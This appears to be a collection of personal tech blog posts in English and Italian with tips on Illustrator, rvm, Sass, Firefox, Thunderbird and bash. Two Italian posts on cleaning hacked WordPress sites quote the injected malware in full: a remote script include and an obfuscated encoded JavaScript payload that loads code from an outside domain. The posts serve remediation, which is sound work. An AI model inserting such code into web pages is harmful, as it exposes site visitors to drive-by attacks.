Obviously I googled to find the answer but the web didn’t return the results I was looking for. Just tutorials on vector patterns, not on rasters.

It’s a long time I don’t use these kind of software as I work in web development or dtp with Photoshop and Indesign and I nerver loved AI too much. But I defenetly agree with whom says that it’s unusable and less intuitive for such basic things. I used to build vector graphics with Corel Xara that was so simple as amazing in ’90s… and was so easy to do a pattern with bitmap…

Well, 3 simple steps (when you know them!):

1. drag your image to AI
2. select the image and click on “embed” <- this is the trick
3. go to edit menu and click on “define pattern”, named it and click on “add to swatches”
4. now you can create our custom shape and drag your raster swatch on it. It will be filled with your btmap. Take care of resolution ’cause you cannot resize or distorce it (or I didn’t found how)

Hope this can help

Thanks to Luca Bonfiglio from @teamcantiere for his help on this issue!

Using “find” command on a shell is the hard (and better!) way, but sometimes you can’t. I’ve got to find an exact kind of file extension into my Time Machine backup.

I wanted all my .AI files. So, I’ve tried to find “.ai” as document name in the search bar of the finder. Sometime it could be enough, when the extention has no variants. But in this case I’ve got the problem that Osx is plenty of .AIF audio file and those are most of the results of my search.

As I said, it has been easy: “.ai” -aif

That’s all, hope this can help others.

I wanted to use the rake gem in it version 0.8.7 but in my rvm was also installed a 0.9.2 version.

I tryed to uninstall it with no success and the gem ask to run the

gem list -d rake

 rake (0.9.2, 0.8.7)
 Author: Jim Weirich
 Rubyforge: http://rubyforge.org/projects/rake
 Homepage: http://rake.rubyforge.org
 Installed at (0.9.2): /Users/spleenteo/.rvm/gems/ruby-1.8.7-p330@global
 (0.8.7): /Users/spleenteo/.rvm/gems/ruby-1.8.7-p330

wtf is that @global? so, the only way to remove it is:

$ rvm use @global
$ gem uninstall rake
$ rvm use ree

this worked fine for me.

As always, when a new verison comes out, there’s the same annoing problem: extensions compatibility. I’ve been surprised to see that my favourites extensions were almost availables, with the execption of one of the most important for me: the delicious bookmarks saver.

Thanks to bart (http://www.gufp.nl/), who hacked the ext, I’ve got back this extension and I do wish to share this great news!!!

So, if you have the same problem, go ahead with the following steps:

1. Download the extension from http://www.gufp.nl/deliciousfirefox/
2. Press CTRL + SHIFT + A in your Firefox 4 browser
3. Drag the file you downloaded into firefox and it will install the extension as always.
4. Enjoy your delicious!

This is my delicious bookmarks page. Enjoy it!

Please, I beg you!

(in these days, Internet Explorer 9 and Chrome 11 have been released too); Please, I beg you, avoid to use Internet Explorer 6 / 7 / 8 in favour of a modern browser… you will only have an advantage of it and will help lots of webdesigners!

The problem

I like to use the watch to an entire folder; this allow me to edit any scss file and the observer write the final css file with a compact output. his is the string:

sass -t compact --watch [the/scss/folder]:[the/css/folder]

At a certain point it’s happend that the watcher has stoped to “feel” the change written on my editor. The only way was to stop the service and start it again. I’ve finally understood that was a cache problem. Sass write an hidden .sass cache folder that cause the problem after a while I work at the same project.

The solution

Run the sass command without cache adding a -C parameter:

sass -C -t compact --watch [the/scss/folder]:[the/css/folder]

Yes, so easy! this is the right twitter in these cases http://twitter.com/#!/angrydeveloper

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Y2K.js"></scri'+'pt>')

Come rimuoverlo?!

Ho quindi scoperto ed utilizzao il comando “sed” che permette (oltre a un milione di altre cose!) di fare un find/replace sui documenti o, ancora meglio nel mio caso, eliminare una riga da un file.

Ho quindi eseguito un find su tutti i file .js; se il file contiene la stringa “nuttypiano” elimina tutta la riga.

find -name \*.js -exec sed --in-place=bak '/nuttypiano/d' {} \;

L’opzione “–in-place=bak” crea un file di backup del file modificato al fine di evitare eventuali danni irreparabili! il file modificato si troverà nella medesima directory dell’originale trasformato da “miofile.js” a “miofile.jsbak”

Adesso rimane da capire come abbiano fatto ad entrare sul server… controllare i log, controllare i log…

Nel frattempo consiglio di modificare tutte le password e di tenere SEMPRE worpress aggiornato all’ultima versione, compresi i plugin installati.

Però, usando firebug, capita di vedere che esiste una richiesta che parte per un sito, itsallbreaksoft.net

Bene, non si sa esattamente come questi cari signori riescano a scrivere sul file header.php del tema che avete impostato, ma li sta il danno.

troverete alla fine del tag </head> un bello script javascript:

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>

A questo punto è sufficiente cancellare lo script e assicurarsi di mettere il file header.php in sola lettura… rimane da scoprire come abiano fatto, se usano un particolare plugin falloso per accedervi o se è un bug di qualche versione di worpress. Sicurameten assicuratevi sempre di fare l’aggiornamento del vostro WP.

It turns out that the people behind this seem to be a pretty well-known group from Russia, with the main person being one Sergey Ryabov, who uses the email address director at climbing-games dot com. [Ed. Note: We'd love to talk with Mr. Ryabov, to learn more about his operations and how and why he's able to pull off this kind of hijinx.]

Ringrazio theinternetpatrol.com per la segnalazione

E’ stata rilasciata da un po’ di tempo la nuova versione 3 del client di posta Thunderbird che offre alcune funzioni decisamente comode ed interessanti. Installandolo però, si scopre che ancora non vi è alcuna compatibilità con le estenzioni google che permettevano di avere lightning (il calendario sunbird integrato) e connesso live con il proprio google calendar.

Sul sito ftp di Mozilla è comunque possibile scaricare le versioni beta compatibili per Windows che in realtà ho installato anche su Linux con successo.

http://ftp.mozilla.org/pub/mozilla.org/calendar/lightning/nightly/latest-comm-1.9.1/win32-xpi/

Consiglio la lettura del sito di Scott Chacon per avere una prima infarinatura e comprendere perchè questo passaggio può risultare interessante!

Per poter fare questo è necessario (su osx ma credo che valga anche per linux) creare (se non esiste) nella propria home il file .inputrc e al suo interno copiare quanto segue:

# set show-all-if-ambiguous on

# do not bell on tab-completion
set bell-style none

set meta-flag on
set input-meta on
set convert-meta off
set output-meta on

# show file types while completing
set visible-stats on

# Completed names which are symbolic links to
# directories have a slash appended.
set mark-symlinked-directories on

# Only show ‘show all nn items’ for > 1000
set completion-query-items 1000

$if mode=emacs

# for linux console and RH/Debian xterm
“\e[1~": beginning-of-line
"\e[4~": end-of-line
"\e[5~": beginning-of-history
"\e[6~": end-of-history
"\e[3~": delete-char
"\e[2~": quoted-insert
"\e[5C": forward-word
"\e[5D": backward-word
"\e[1;5C": forward-word
"\e[1;5D": backward-word
"\e[5~": history-search-backward
"\e[6~": history-search-forward

# for rxvt
"\e[8~": end-of-line

# for non RH/Debian xterm, can't hurt for RH/DEbian xterm
"\eOH": beginning-of-line
"\eOF": end-of-line

# for freebsd console
"\e[H": beginning-of-line
"\e[F": end-of-line

$endif

# [Up] and [Down] do incremental history search
“\e[A": history-search-backward
"\e[B": history-search-forward

# Previous stops [Left] and [Right] working: reinstate
“\e[C”: forward-char
“\e[D”: backward-char

$if Bash
# Do expansion when space is pressed
Space: magic-space
$endif